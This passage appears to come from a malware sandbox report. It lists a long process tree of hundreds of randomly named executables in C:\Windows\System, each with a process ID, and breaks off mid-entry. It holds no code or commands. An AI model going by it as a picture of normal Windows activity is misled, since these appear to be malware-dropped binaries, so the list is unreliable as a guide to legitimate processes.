- C:\Windows\System\BrFrhJa.exe
  C:\Windows\System\BrFrhJa.exe
  2⤵
  PID:7892
- C:\Windows\System\fMMOxHO.exe
  C:\Windows\System\fMMOxHO.exe
  2⤵
  PID:7924
- C:\Windows\System\mECVVnm.exe
  C:\Windows\System\mECVVnm.exe
  2⤵
  PID:7948
- C:\Windows\System\dTXitXP.exe
  C:\Windows\System\dTXitXP.exe
  2⤵
  PID:7976
- C:\Windows\System\QEYoQwt.exe
  C:\Windows\System\QEYoQwt.exe
  2⤵
  PID:8024
- C:\Windows\System\uGAvrUL.exe
  C:\Windows\System\uGAvrUL.exe
  2⤵
  PID:8040
- C:\Windows\System\QrYLQNB.exe
  C:\Windows\System\QrYLQNB.exe
  2⤵
  PID:8056
- C:\Windows\System\RlhvjCG.exe
  C:\Windows\System\RlhvjCG.exe
  2⤵
  PID:8080
- C:\Windows\System\XBQyRSj.exe
  C:\Windows\System\XBQyRSj.exe
  2⤵
  PID:8128
- C:\Windows\System\wORtppL.exe
  C:\Windows\System\wORtppL.exe
  2⤵
  PID:8148
- C:\Windows\System\NjeEjSY.exe
  C:\Windows\System\NjeEjSY.exe
  2⤵
  PID:8176
- C:\Windows\System\NMtqDJM.exe
  C:\Windows\System\NMtqDJM.exe
  2⤵
  PID:7188
- C:\Windows\System\kLveGAo.exe
  C:\Windows\System\kLveGAo.exe
  2⤵
  PID:7236
- C:\Windows\System\CiNbqUj.exe
  C:\Windows\System\CiNbqUj.exe
  2⤵
  PID:7304
- C:\Windows\System\QFiTNtG.exe
  C:\Windows\System\QFiTNtG.exe
  2⤵
  PID:7348
- C:\Windows\System\KDMRoRX.exe
  C:\Windows\System\KDMRoRX.exe
  2⤵
  PID:7416
- C:\Windows\System\IffEDgq.exe
  C:\Windows\System\IffEDgq.exe
  2⤵
  PID:7468
- C:\Windows\System\MKtHHqr.exe
  C:\Windows\System\MKtHHqr.exe
  2⤵
  PID:7508
- C:\Windows\System\ysYRKML.exe
  C:\Windows\System\ysYRKML.exe
  2⤵
  PID:7544
- C:\Windows\System\hehDsfd.exe
  C:\Windows\System\hehDsfd.exe
  2⤵
  PID:7608
- C:\Windows\System\oDPGOta.exe
  C:\Windows\System\oDPGOta.exe
  2⤵
  PID:7736
- C:\Windows\System\OfZFMHW.exe
  C:\Windows\System\OfZFMHW.exe
  2⤵
  PID:7820
- C:\Windows\System\hKYgvtN.exe
  C:\Windows\System\hKYgvtN.exe
  2⤵
  PID:7828
- C:\Windows\System\qmsbymn.exe
  C:\Windows\System\qmsbymn.exe
  2⤵
  PID:7940
- C:\Windows\System\IuGJWhu.exe
  C:\Windows\System\IuGJWhu.exe
  2⤵
  PID:7916
- C:\Windows\System\LVrbfrX.exe
  C:\Windows\System\LVrbfrX.exe
  2⤵
  PID:8004
- C:\Windows\System\xwamaHn.exe
  C:\Windows\System\xwamaHn.exe
  2⤵
  PID:8092
- C:\Windows\System\JJGHaNJ.exe
  C:\Windows\System\JJGHaNJ.exe
  2⤵
  PID:8140
- C:\Windows\System\LJXXXit.exe
  C:\Windows\System\LJXXXit.exe
  2⤵
  PID:8188
- C:\Windows\System\hfGNTJm.exe
  C:\Windows\System\hfGNTJm.exe
  2⤵
  PID:7284
- C:\Windows\System\nwwJKdx.exe
  C:\Windows\System\nwwJKdx.exe
  2⤵
  PID:7272
- C:\Windows\System\YpgXGIs.exe
  C:\Windows\System\YpgXGIs.exe
  2⤵
  PID:7492
- C:\Windows\System\dOAqsMO.exe
  C:\Windows\System\dOAqsMO.exe
  2⤵
  PID:7680
- C:\Windows\System\sxVQiKM.exe
  C:\Windows\System\sxVQiKM.exe
  2⤵
  PID:7920
- C:\Windows\System\qccAClU.exe
  C:\Windows\System\qccAClU.exe
  2⤵
  PID:8064
- C:\Windows\System\JXEhSAm.exe
  C:\Windows\System\JXEhSAm.exe
  2⤵
  PID:8104
- C:\Windows\System\wTNqCTd.exe
  C:\Windows\System\wTNqCTd.exe
  2⤵
  PID:7344
- C:\Windows\System\VRIZPZo.exe
  C:\Windows\System\VRIZPZo.exe
  2⤵
  PID:7392
- C:\Windows\System\qRRFKCD.exe
  C:\Windows\System\qRRFKCD.exe
  2⤵
  PID:8172
- C:\Windows\System\VuVHlsX.exe
  C:\Windows\System\VuVHlsX.exe
  2⤵
  PID:6152
- C:\Windows\System\ynbwsBA.exe
  C:\Windows\System\ynbwsBA.exe
  2⤵
  PID:8208
- C:\Windows\System\YerkBLL.exe
  C:\Windows\System\YerkBLL.exe
  2⤵
  PID:8232
- C:\Windows\System\yQkSFau.exe
  C:\Windows\System\yQkSFau.exe
  2⤵
  PID:8252
- C:\Windows\System\KnfaLnX.exe
  C:\Windows\System\KnfaLnX.exe
  2⤵
  PID:8272
- C:\Windows\System\hbxSqKh.exe
  C:\Windows\System\hbxSqKh.exe
  2⤵
  PID:8296
- C:\Windows\System\FLOqZqI.exe
  C:\Windows\System\FLOqZqI.exe
  2⤵
  PID:8320
- C:\Windows\System\OurINMN.exe
  C:\Windows\System\OurINMN.exe
  2⤵
  PID:8336
- C:\Windows\System\bSCDzJb.exe
  C:\Windows\System\bSCDzJb.exe
  2⤵
  PID:8364
- C:\Windows\System\MEqJKZb.exe
  C:\Windows\System\MEqJKZb.exe
  2⤵
  PID:8400
- C:\Windows\System\ySBMxrq.exe
  C:\Windows\System\ySBMxrq.exe
  2⤵
  PID:8416
- C:\Windows\System\HBRlwNI.exe
  C:\Windows\System\HBRlwNI.exe
  2⤵
  PID:8432
- C:\Windows\System\qvVZVPx.exe
  C:\Windows\System\qvVZVPx.exe
  2⤵
  PID:8460
- C:\Windows\System\GLHCOcC.exe
  C:\Windows\System\GLHCOcC.exe
  2⤵
  PID:8480
- C:\Windows\System\mSlZpzx.exe
  C:\Windows\System\mSlZpzx.exe
  2⤵
  PID:8552
- C:\Windows\System\nrGHETQ.exe
  C:\Windows\System\nrGHETQ.exe
  2⤵
  PID:8600
- C:\Windows\System\rPCYRCA.exe
  C:\Windows\System\rPCYRCA.exe
  2⤵
  PID:8616
- C:\Windows\System\IyhjdLZ.exe
  C:\Windows\System\IyhjdLZ.exe
  2⤵
  PID:8636
- C:\Windows\System\ZWlwZug.exe
  C:\Windows\System\ZWlwZug.exe
  2⤵
  PID:8660
- C:\Windows\System\jrVowvj.exe
  C:\Windows\System\jrVowvj.exe
  2⤵
  PID:8712
- C:\Windows\System\RVGAxfn.exe
  C:\Windows\System\RVGAxfn.exe
  2⤵
  PID:8752
- C:\Windows\System\cMLmywl.exe
  C:\Windows\System\cMLmywl.exe
  2⤵
  PID:8776
- C:\Windows\System\IICTNyK.exe
  C:\Windows\System\IICTNyK.exe
  2⤵
  PID:8796
- C:\Windows\System\szePCEm.exe
  C:\Windows\System\szePCEm.exe
  2⤵
  PID:8836
- C:\Windows\System\LYuWWLG.exe
  C:\Windows\System\LYuWWLG.exe
  2⤵
  PID:8864
- C:\Windows\System\grsJHfk.exe
  C:\Windows\System\grsJHfk.exe
  2⤵
  PID:8884
- C:\Windows\System\pxByGtP.exe
  C:\Windows\System\pxByGtP.exe
  2⤵
  PID:8908
- C:\Windows\System\EpzFrDU.exe
  C:\Windows\System\EpzFrDU.exe
  2⤵
  PID:8924
- C:\Windows\System\InKSVBs.exe
  C:\Windows\System\InKSVBs.exe
  2⤵
  PID:8948
- C:\Windows\System\BWWBVnH.exe
  C:\Windows\System\BWWBVnH.exe
  2⤵
  PID:8972
- C:\Windows\System\PElUqTp.exe
  C:\Windows\System\PElUqTp.exe
  2⤵
  PID:8988
- C:\Windows\System\MHxcJEp.exe
  C:\Windows\System\MHxcJEp.exe
  2⤵
  PID:9012
- C:\Windows\System\KLoBsWn.exe
  C:\Windows\System\KLoBsWn.exe
  2⤵
  PID:9028
- C:\Windows\System\nCeasMZ.exe
  C:\Windows\System\nCeasMZ.exe
  2⤵
  PID:9048
- C:\Windows\System\ZpwolbV.exe
  C:\Windows\System\ZpwolbV.exe
  2⤵
  PID:9072
- C:\Windows\System\MQUGZZc.exe
  C:\Windows\System\MQUGZZc.exe
  2⤵
  PID:9132
- C:\Windows\System\MApCaIE.exe
  C:\Windows\System\MApCaIE.exe
  2⤵
  PID:8200
- C:\Windows\System\slPdepu.exe
  C:\Windows\System\slPdepu.exe
  2⤵
  PID:4020
- C:\Windows\System\lGGTvLy.exe
  C:\Windows\System\lGGTvLy.exe
  2⤵
  PID:8228
- C:\Windows\System\EzRetHc.exe
  C:\Windows\System\EzRetHc.exe
  2⤵
  PID:8356
- C:\Windows\System\oASJImY.exe
  C:\Windows\System\oASJImY.exe
  2⤵
  PID:8384
- C:\Windows\System\dKPcyXg.exe
  C:\Windows\System\dKPcyXg.exe
  2⤵
  PID:8488
- C:\Windows\System\SvdIYlb.exe
  C:\Windows\System\SvdIYlb.exe
  2⤵
  PID:8444
- C:\Windows\System\oorsrMJ.exe
  C:\Windows\System\oorsrMJ.exe
  2⤵
  PID:8472
- C:\Windows\System\ahkKsYa.exe
  C:\Windows\System\ahkKsYa.exe
  2⤵
  PID:4116
- C:\Windows\System\XSlBUuH.exe
  C:\Windows\System\XSlBUuH.exe
  2⤵
  PID:8684
- C:\Windows\System\ELdFzFe.exe
  C:\Windows\System\ELdFzFe.exe
  2⤵
  PID:8772
- C:\Windows\System\YnfqFoN.exe
  C:\Windows\System\YnfqFoN.exe
  2⤵
  PID:8828
- C:\Windows\System\zzpuBlE.exe
  C:\Windows\System\zzpuBlE.exe
  2⤵
  PID:8944
- C:\Windows\System\wneLbEl.exe
  C:\Windows\System\wneLbEl.exe
  2⤵
  PID:8940
- C:\Windows\System\XtfNcDQ.exe
  C:\Windows\System\XtfNcDQ.exe
  2⤵
  PID:9024
- C:\Windows\System\brlAboe.exe
  C:\Windows\System\brlAboe.exe
  2⤵
  PID:1352
- C:\Windows\System\NWpqtfL.exe
  C:\Windows\System\NWpqtfL.exe
  2⤵
  PID:9140
- C:\Windows\System\OZtZoBv.exe
  C:\Windows\System\OZtZoBv.exe
  2⤵
  PID:7932
- C:\Windows\System\GtTZsPT.exe
  C:\Windows\System\GtTZsPT.exe
  2⤵
  PID:7704
- C:\Windows\System\tNboSWV.exe
  C:\Windows\System\tNboSWV.exe
  2⤵
  PID:8260
- C:\Windows\System\xEACUbm.exe
  C:\Windows\System\xEACUbm.exe
  2⤵
  PID:8412
- C:\Windows\System\TivwmdZ.exe
  C:\Windows\System\TivwmdZ.exe
  2⤵
  PID:8508
- C:\Windows\System\uMjkhPI.exe
  C:\Windows\System\uMjkhPI.exe
  2⤵
  PID:8632
- C:\Windows\System\iiIvHTW.exe
  C:\Windows\System\iiIvHTW.exe
  2⤵
  PID:8904
- C:\Windows\System\yTdbZKT.exe
  C:\Windows\System\yTdbZKT.exe
  2⤵
  PID:8996
- C:\Windows\System\sJiWfAb.exe
  C:\Windows\System\sJiWfAb.exe
  2⤵
  PID:3776
- C:\Windows\System\lcxarqz.exe
  C:\Windows\System\lcxarqz.exe
  2⤵
  PID:5108
- C:\Windows\System\ePvqvXE.exe
  C:\Windows\System\ePvqvXE.exe
  2⤵
  PID:8376
- C:\Windows\System\NUWcGtA.exe
  C:\Windows\System\NUWcGtA.exe
  2⤵
  PID:8744
- C:\Windows\System\kAPelfC.exe
  C:\Windows\System\kAPelfC.exe
  2⤵
  PID:9080
- C:\Windows\System\Ahpvsno.exe
  C:\Windows\System\Ahpvsno.exe
  2⤵
  PID:8644
- C:\Windows\System\OQKVhIT.exe
  C:\Windows\System\OQKVhIT.exe
  2⤵
  PID:9264
- C:\Windows\System\FMXaCBk.exe
  C:\Windows\System\FMXaCBk.exe
  2⤵
  PID:9304
- C:\Windows\System\GHBWmKp.exe
  C:\Windows\System\GHBWmKp.exe
  2⤵
  PID:9348
- C:\Windows\System\KWtzhJV.exe
  C:\Windows\System\KWtzhJV.exe
  2⤵
  PID:9404
- C:\Windows\System\QTQdrrC.exe
  C:\Windows\System\QTQdrrC.exe
  2⤵
  PID:9448
- C:\Windows\System\xtFrAlG.exe
  C:\Windows\System\xtFrAlG.exe
  2⤵
  PID:9464
- C:\Windows\System\tgiMdil.exe
  C:\Windows\System\tgiMdil.exe
  2⤵
  PID:9480
- C:\Windows\System\hlCmkdM.exe
  C:\Windows\System\hlCmkdM.exe
  2⤵
  PID:9512
- C:\Windows\System\cxnwUvH.exe
  C:\Windows\System\cxnwUvH.exe
  2⤵
  PID:9588
- C:\Windows\System\wduPLEU.exe
  C:\Windows\System\wduPLEU.exe
  2⤵
  PID:9604
- C:\Windows\System\ALxMPOw.exe
  C:\Windows\System\ALxMPOw.exe
  2⤵
  PID:9620
- C:\Windows\System\ErVRdyh.exe
  C:\Windows\System\ErVRdyh.exe
  2⤵
  PID:9636
- C:\Windows\System\ilNBbwp.exe
  C:\Windows\System\ilNBbwp.exe
  2⤵
  PID:9652
- C:\Windows\System\zouaEjF.exe
  C:\Windows\System\zouaEjF.exe
  2⤵
  PID:9668
- C:\Windows\System\xrjXoDy.exe
  C:\Windows\System\xrjXoDy.exe
  2⤵
  PID:9684
- C:\Windows\System\HKzhRLg.exe
  C:\Windows\System\HKzhRLg.exe
  2⤵
  PID:9700
- C:\Windows\System\qJhWCgA.exe
  C:\Windows\System\qJhWCgA.exe
  2⤵
  PID:9716
- C:\Windows\System\FkaOwjq.exe
  C:\Windows\System\FkaOwjq.exe
  2⤵
  PID:9736
- C:\Windows\System\YSxNRqJ.exe
  C:\Windows\System\YSxNRqJ.exe
  2⤵
  PID:9752
- C:\Windows\System\aOZsBcf.exe
  C:\Windows\System\aOZsBcf.exe
  2⤵
  PID:9772
- C:\Windows\System\InfDxKO.exe
  C:\Windows\System\InfDxKO.exe
  2⤵
  PID:9792
- C:\Windows\System\xFWSatt.exe
  C:\Windows\System\xFWSatt.exe
  2⤵
  PID:9812
- C:\Windows\System\RZCvVmc.exe
  C:\Windows\System\RZCvVmc.exe
  2⤵
  PID:9892
- C:\Windows\System\DjwXyFx.exe
  C:\Windows\System\DjwXyFx.exe
  2⤵
  PID:9972
- C:\Windows\System\uLGejHV.exe
  C:\Windows\System\uLGejHV.exe
  2⤵
  PID:9992
- C:\Windows\System\SqBdKvI.exe
  C:\Windows\System\SqBdKvI.exe
  2⤵
  PID:10008
- C:\Windows\System\whqcVdG.exe
  C:\Windows\System\whqcVdG.exe
  2⤵
  PID:10080
- C:\Windows\System\rJPVvHN.exe
  C:\Windows\System\rJPVvHN.exe
  2⤵
  PID:10104
- C:\Windows\System\EzDdgjr.exe
  C:\Windows\System\EzDdgjr.exe
  2⤵
  PID:10124
- C:\Windows\System\dRIVPIQ.exe
  C:\Windows\System\dRIVPIQ.exe
  2⤵
  PID:10200
- C:\Windows\System\vppioHu.exe
  C:\Windows\System\vppioHu.exe
  2⤵
  PID:10216
- C:\Windows\System\DBxCcHm.exe
  C:\Windows\System\DBxCcHm.exe
  2⤵
  PID:9120
- C:\Windows\System\kOrdbLX.exe
  C:\Windows\System\kOrdbLX.exe
  2⤵
  PID:8900
- C:\Windows\System\fiWujtj.exe
  C:\Windows\System\fiWujtj.exe
  2⤵
  PID:9260
- C:\Windows\System\GrtOEZk.exe
  C:\Windows\System\GrtOEZk.exe
  2⤵
  PID:9296
- C:\Windows\System\gIHmduP.exe
  C:\Windows\System\gIHmduP.exe
  2⤵
  PID:9560
- C:\Windows\System\DfQVvOg.exe
  C:\Windows\System\DfQVvOg.exe
  2⤵
  PID:9400
- C:\Windows\System\LVWigBK.exe
  C:\Windows\System\LVWigBK.exe
  2⤵
  PID:9572
- C:\Windows\System\FzjCOOX.exe
  C:\Windows\System\FzjCOOX.exe
  2⤵
  PID:9632
- C:\Windows\System\WRreQuT.exe
  C:\Windows\System\WRreQuT.exe
  2⤵
  PID:9508
- C:\Windows\System\vtxaXII.exe
  C:\Windows\System\vtxaXII.exe
  2⤵
  PID:9568
- C:\Windows\System\OareKuE.exe
  C:\Windows\System\OareKuE.exe
  2⤵
  PID:9784
- C:\Windows\System\wyaeZeV.exe
  C:\Windows\System\wyaeZeV.exe
  2⤵
  PID:9676
- C:\Windows\System\BpqVPnU.exe
  C:\Windows\System\BpqVPnU.exe
  2⤵
  PID:9744
- C:\Windows\System\WmCkZcn.exe
  C:\Windows\System\WmCkZcn.exe
  2⤵
  PID:9780
- C:\Windows\System\qcMOkHW.exe
  C:\Windows\System\qcMOkHW.exe
  2⤵
  PID:9904
- C:\Windows\System\ojmpRYS.exe
  C:\Windows\System\ojmpRYS.exe
  2⤵
  PID:9936
- C:\Windows\System\rldtfZN.exe
  C:\Windows\System\rldtfZN.exe
  2⤵
  PID:10092
- C:\Windows\System\zzOXmZW.exe
  C:\Windows\System\zzOXmZW.exe
  2⤵
  PID:10164
- C:\Windows\System\wyhldxr.exe
  C:\Windows\System\wyhldxr.exe
  2⤵
  PID:10236
- C:\Windows\System\nBQGcjh.exe
  C:\Windows\System\nBQGcjh.exe
  2⤵
  PID:9288
- C:\Windows\System\ySEISyK.exe
  C:\Windows\System\ySEISyK.exe
  2⤵
  PID:9376
- C:\Windows\System\aUaOboo.exe
  C:\Windows\System\aUaOboo.exe
  2⤵
  PID:9388
- C:\Windows\System\LbpDlpD.exe
  C:\Windows\System\LbpDlpD.exe
  2⤵
  PID:9548
- C:\Windows\System\gdaixeO.exe
  C:\Windows\System\gdaixeO.exe
  2⤵
  PID:9692
- C:\Windows\System\VoXWvXY.exe
  C:\Windows\System\VoXWvXY.exe
  2⤵
  PID:9728
- C:\Windows\System\wQHrkAL.exe
  C:\Windows\System\wQHrkAL.exe
  2⤵
  PID:9644
- C:\Windows\System\SJaEAlC.exe
  C:\Windows\System\SJaEAlC.exe
  2⤵
  PID:9932
- C:\Windows\System\plFPzne.exe
  C:\Windows\System\plFPzne.exe
  2⤵
  PID:9384
- C:\Windows\System\NmrXxgk.exe
  C:\Windows\System\NmrXxgk.exe
  2⤵
  PID:9460
- C:\Windows\System\lABaKUz.exe
  C:\Windows\System\lABaKUz.exe
  2⤵
  PID:9760
- C:\Windows\System\KvKvxMF.exe
  C:\Windows\System\KvKvxMF.exe
  2⤵
  PID:10028
- C:\Windows\System\ZWrckqJ.exe
  C:\Windows\System\ZWrckqJ.exe
  2⤵
  PID:9328
- C:\Windows\System\cZBnnFW.exe
  C:\Windows\System\cZBnnFW.exe
  2⤵
  PID:9660
- C:\Windows\System\rUnycFZ.exe
  C:\Windows\System\rUnycFZ.exe
  2⤵
  PID:10260
- C:\Windows\System\vToGrks.exe
  C:\Windows\System\vToGrks.exe
  2⤵
  PID:10280
- C:\Windows\System\kYAIWVF.exe
  C:\Windows\System\kYAIWVF.exe
  2⤵
  PID:10308
- C:\Windows\System\yocIRZp.exe
  C:\Windows\System\yocIRZp.exe
  2⤵
  PID:10356
- C:\Windows\System\tHNpbyq.exe
  C:\Windows\System\tHNpbyq.exe
  2⤵
  PID:10384
- C:\Windows\System\hwaWZES.exe
  C:\Windows\System\hwaWZES.exe
  2⤵
  PID:10400
- C:\Windows\System\RTerBbq.exe
  C:\Windows\System\RTerBbq.exe
  2⤵
  PID:10436
- C:\Windows\System\atBxNdu.exe
  C:\Windows\System\atBxNdu.exe
  2⤵
  PID:10476
- C:\Windows\System\GXAwPzV.exe
  C:\Windows\System\GXAwPzV.exe
  2⤵
  PID:10500
- C:\Windows\System\WdcIDOO.exe
  C:\Windows\System\WdcIDOO.exe
  2⤵
  PID:10520
- C:\Windows\System\zvkMELS.exe
  C:\Windows\System\zvkMELS.exe
  2⤵
  PID:10536
- C:\Windows\System\QTOFlCU.exe
  C:\Windows\System\QTOFlCU.exe
  2⤵
  PID:10560
- C:\Windows\System\MuMKDKb.exe
  C:\Windows\System\MuMKDKb.exe
  2⤵
  PID:10596
- C:\Windows\System\oWwlWKb.exe
  C:\Windows\System\oWwlWKb.exe
  2⤵
  PID:10620
- C:\Windows\System\umJjRbi.exe
  C:\Windows\System\umJjRbi.exe
  2⤵
  PID:10656
- C:\Windows\System\CnkYMGB.exe
  C:\Windows\System\CnkYMGB.exe
  2⤵
  PID:10676
- C:\Windows\System\ynfKLvq.exe
  C:\Windows\System\ynfKLvq.exe
  2⤵
  PID:10740
- C:\Windows\System\kRuhMYA.exe
  C:\Windows\System\kRuhMYA.exe
  2⤵
  PID:10756
- C:\Windows\System\aQqWyUx.exe
  C:\Windows\System\aQqWyUx.exe
  2⤵
  PID:10776
- C:\Windows\System\wKoJWvN.exe
  C:\Windows\System\wKoJWvN.exe
  2⤵
  PID:10796
- C:\Windows\System\WKEkNUE.exe
  C:\Windows\System\WKEkNUE.exe
  2⤵
  PID:10812
- C:\Windows\System\PnVXlTN.exe
  C:\Windows\System\PnVXlTN.exe
  2⤵
  PID:10832
- C:\Windows\System\OBtZdZO.exe
  C:\Windows\System\OBtZdZO.exe
  2⤵
  PID:10852
- C:\Windows\System\TBppmRj.exe
  C:\Windows\System\TBppmRj.exe
  2⤵
  PID:10872
- C:\Windows\System\OZfRgtH.exe
  C:\Windows\System\OZfRgtH.exe
  2⤵
  PID:10900
- C:\Windows\System\AvNYwmD.exe
  C:\Windows\System\AvNYwmD.exe
  2⤵
  PID:10920
- C:\Windows\System\oIIYops.exe
  C:\Windows\System\oIIYops.exe
  2⤵
  PID:10956
- C:\Windows\System\bcgCdnk.exe
  C:\Windows\System\bcgCdnk.exe
  2⤵
  PID:11016
- C:\Windows\System\PVVtHfD.exe
  C:\Windows\System\PVVtHfD.exe
  2⤵
  PID:11036
- C:\Windows\System\MELOiRB.exe
  C:\Windows\System\MELOiRB.exe
  2⤵
  PID:11056
- C:\Windows\System\ezrKdGY.exe
  C:\Windows\System\ezrKdGY.exe
  2⤵
  PID:11072
- C:\Windows\System\fBhtKLg.exe
  C:\Windows\System\fBhtKLg.exe
  2⤵
  PID:11096
- C:\Windows\System\ywxGcXb.exe
  C:\Windows\System\ywxGcXb.exe
  2⤵
  PID:11120
- C:\Windows\System\czXhkGz.exe
  C:\Windows\System\czXhkGz.exe
  2⤵
  PID:11144
- C:\Windows\System\EaZEtjy.exe
  C:\Windows\System\EaZEtjy.exe
  2⤵
  PID:11168
- C:\Windows\System\FxUJQLW.exe
  C:\Windows\System\FxUJQLW.exe
  2⤵
  PID:11184
- C:\Windows\System\OCuzZBq.exe
  C:\Windows\System\OCuzZBq.exe
  2⤵
  PID:11204
- C:\Windows\System\jzxFybD.exe
  C:\Windows\System\jzxFybD.exe
  2⤵
  PID:11236
- C:\Windows\System\dsXZHtZ.exe
  C:\Windows\System\dsXZHtZ.exe
  2⤵
  PID:11256
- C:\Windows\System\frwyLqb.exe
  C:\Windows\System\frwyLqb.exe
  2⤵
  PID:9444
- C:\Windows\System\UWttyNb.exe
  C:\Windows\System\UWttyNb.exe
  2⤵
  PID:10408
- C:\Windows\System\iyjhMUt.exe
  C:\Windows\System\iyjhMUt.exe
  2⤵
  PID:10452
- C:\Windows\System\GrAJRMb.exe
  C:\Windows\System\GrAJRMb.exe
  2⤵
  PID:10584
- C:\Windows\System\FWuQIhj.exe
  C:\Windows\System\FWuQIhj.exe
  2⤵
  PID:10604
- C:\Windows\System\UUFlKEi.exe
  C:\Windows\System\UUFlKEi.exe
  2⤵
  PID:10696
- C:\Windows\System\yyGwyzg.exe
  C:\Windows\System\yyGwyzg.exe
  2⤵
  PID:10784
- C:\Windows\System\WqXLFkd.exe
  C:\Windows\System\WqXLFkd.exe
  2⤵
  PID:10804
- C:\Windows\System\kyFbaOi.exe
  C:\Windows\System\kyFbaOi.exe
  2⤵
  PID:10824
- C:\Windows\System\gYVHooB.exe
  C:\Windows\System\gYVHooB.exe
  2⤵
  PID:10892
- C:\Windows\System\nNMfCkl.exe
  C:\Windows\System\nNMfCkl.exe
  2⤵
  PID:10916
- C:\Windows\System\VmSnjYv.exe
  C:\Windows\System\VmSnjYv.exe
  2⤵
  PID:10944
- C:\Windows\System\pOlDuBT.exe
  C:\Windows\System\pOlDuBT.exe
  2⤵
  PID:11028
- C:\Windows\System\fGNYazd.exe
  C:\Windows\System\fGNYazd.exe
  2⤵
  PID:11108
- C:\Windows\System\GPRWhqt.exe
  C:\Windows\System\GPRWhqt.exe
  2⤵
  PID:11048
- C:\Windows\System\lHNQFwF.exe
  C:\Windows\System\lHNQFwF.exe
  2⤵
  PID:9520
- C:\Windows\System\NhlVsaQ.exe
  C:\Windows\System\NhlVsaQ.exe
  2⤵
  PID:10332
- C:\Windows\System\GmzsbjB.exe
  C:\Windows\System\GmzsbjB.exe
  2⤵
  PID:10544
- C:\Windows\System\dqQlNMv.exe
  C:\Windows\System\dqQlNMv.exe
  2⤵
  PID:10488
- C:\Windows\System\LMKGmBN.exe
  C:\Windows\System\LMKGmBN.exe
  2⤵
  PID:10880
- C:\Windows\System\cPgzrbA.exe
  C:\Windows\System\cPgzrbA.exe
  2⤵
  PID:10844
- C:\Windows\System\kfTOSXA.exe
  C:\Windows\System\kfTOSXA.exe
  2⤵
  PID:10980
- C:\Windows\System\omozvey.exe
  C:\Windows\System\omozvey.exe
  2⤵
  PID:11068
- C:\Windows\System\yYrGbKT.exe
  C:\Windows\System\yYrGbKT.exe
  2⤵
  PID:10432
- C:\Windows\System\KlsVcpg.exe
  C:\Windows\System\KlsVcpg.exe
  2⤵
  PID:10848
- C:\Windows\System\JEGEaJS.exe
  C:\Windows\System\JEGEaJS.exe
  2⤵
  PID:11276
- C:\Windows\System\IllhFXO.exe
  C:\Windows\System\IllhFXO.exe
  2⤵
  PID:11296
- C:\Windows\System\vZhzxWt.exe
  C:\Windows\System\vZhzxWt.exe
  2⤵
  PID:11328
- C:\Windows\System\dEbNjuH.exe
  C:\Windows\System\dEbNjuH.exe
  2⤵
  PID:11344
- C:\Windows\System\tWhFQJT.exe
  C:\Windows\System\tWhFQJT.exe
  2⤵
  PID:11364
- C:\Windows\System\ZRhNOVC.exe
  C:\Windows\System\ZRhNOVC.exe
  2⤵
  PID:11384
- C:\Windows\System\sheFHdQ.exe
  C:\Windows\System\sheFHdQ.exe
  2⤵
  PID:11440
- C:\Windows\System\viPGakQ.exe
  C:\Windows\System\viPGakQ.exe
  2⤵
  PID:11468
- C:\Windows\System\JAHyiyA.exe
  C:\Windows\System\JAHyiyA.exe
  2⤵
  PID:11496
- C:\Windows\System\axthgRy.exe
  C:\Windows\System\axthgRy.exe
  2⤵
  PID:11516
- C:\Windows\System\QUqOzfb.exe
  C:\Windows\System\QUqOzfb.exe
  2⤵
  PID:11592
- C:\Windows\System\IpTEDPt.exe
  C:\Windows\System\IpTEDPt.exe
  2⤵
  PID:11640
- C:\Windows\System\ZZXfhVg.exe
  C:\Windows\System\ZZXfhVg.exe
  2⤵
  PID:11656
- C:\Windows\System\HxRSfcV.exe
  C:\Windows\System\HxRSfcV.exe
  2⤵
  PID:11700
- C:\Windows\System\zcvmXQZ.exe
  C:\Windows\System\zcvmXQZ.exe
  2⤵
  PID:11724
- C:\Windows\System\yQnQeMO.exe
  C:\Windows\System\yQnQeMO.exe
  2⤵
  PID:11752
- C:\Windows\System\jqIXLmc.exe
  C:\Windows\System\jqIXLmc.exe
  2⤵
  PID:11780
- C:\Windows\System\NdVzVtb.exe
  C:\Windows\System\NdVzVtb.exe
  2⤵
  PID:11812
- C:\Windows\System\AQERjwF.exe
  C:\Windows\System\AQERjwF.exe
  2⤵
  PID:11848
- C:\Windows\System\RJTpPHl.exe
  C:\Windows\System\RJTpPHl.exe
  2⤵
  PID:11868
- C:\Windows\System\ULBnerE.exe
  C:\Windows\System\ULBnerE.exe
  2⤵
  PID:11900
- C:\Windows\System\DReezrZ.exe
  C:\Windows\System\DReezrZ.exe
  2⤵
  PID:11936
- C:\Windows\System\FwNSWJO.exe
  C:\Windows\System\FwNSWJO.exe
  2⤵
  PID:11968
- C:\Windows\System\UkUqECS.exe
  C:\Windows\System\UkUqECS.exe
  2⤵
  PID:11984
- C:\Windows\System\EcSpbSF.exe
  C:\Windows\System\EcSpbSF.exe
  2⤵
  PID:12016
- C:\Windows\System\UTYbLiT.exe
  C:\Windows\System\UTYbLiT.exe
  2⤵
  PID:12044
- C:\Windows\System\shgmHFT.exe
  C:\Windows\System\shgmHFT.exe
  2⤵
  PID:12068
- C:\Windows\System\ViyOfAg.exe
  C:\Windows\System\ViyOfAg.exe
  2⤵
  PID:12084
- C:\Windows\System\gifhcUS.exe
  C:\Windows\System\gifhcUS.exe
  2⤵
  PID:12108
- C:\Windows\System\FwspIAW.exe
  C:\Windows\System\FwspIAW.exe
  2⤵
  PID:12128
- C:\Windows\System\EsRGXyV.exe
  C:\Windows\System\EsRGXyV.exe
  2⤵
  PID:12144
- C:\Windows\System\XhyCfIO.exe
  C:\Windows\System\XhyCfIO.exe
  2⤵
  PID:12184
- C:\Windows\System\gfVJUWf.exe
  C:\Windows\System\gfVJUWf.exe
  2⤵
  PID:12208
- C:\Windows\System\pzrQTXS.exe
  C:\Windows\System\pzrQTXS.exe
  2⤵
  PID:12232
- C:\Windows\System\EhLwKIE.exe
  C:\Windows\System\EhLwKIE.exe
  2⤵
  PID:12248
- C:\Windows\System\ysFzMTf.exe
  C:\Windows\System\ysFzMTf.exe
  2⤵
  PID:12276
- C:\Windows\System\TkVwwdL.exe
  C:\Windows\System\TkVwwdL.exe
  2⤵
  PID:10288
- C:\Windows\System\ABVmoXh.exe
  C:\Windows\System\ABVmoXh.exe
  2⤵
  PID:11272
- C:\Windows\System\POvPZKQ.exe
  C:\Windows\System\POvPZKQ.exe
  2⤵
  PID:11320
- C:\Windows\System\ZCucaQw.exe
  C:\Windows\System\ZCucaQw.exe
  2⤵
  PID:11380
- C:\Windows\System\RVTOAaW.exe
  C:\Windows\System\RVTOAaW.exe
  2⤵
  PID:11428
- C:\Windows\System\UVrbQfE.exe
  C:\Windows\System\UVrbQfE.exe
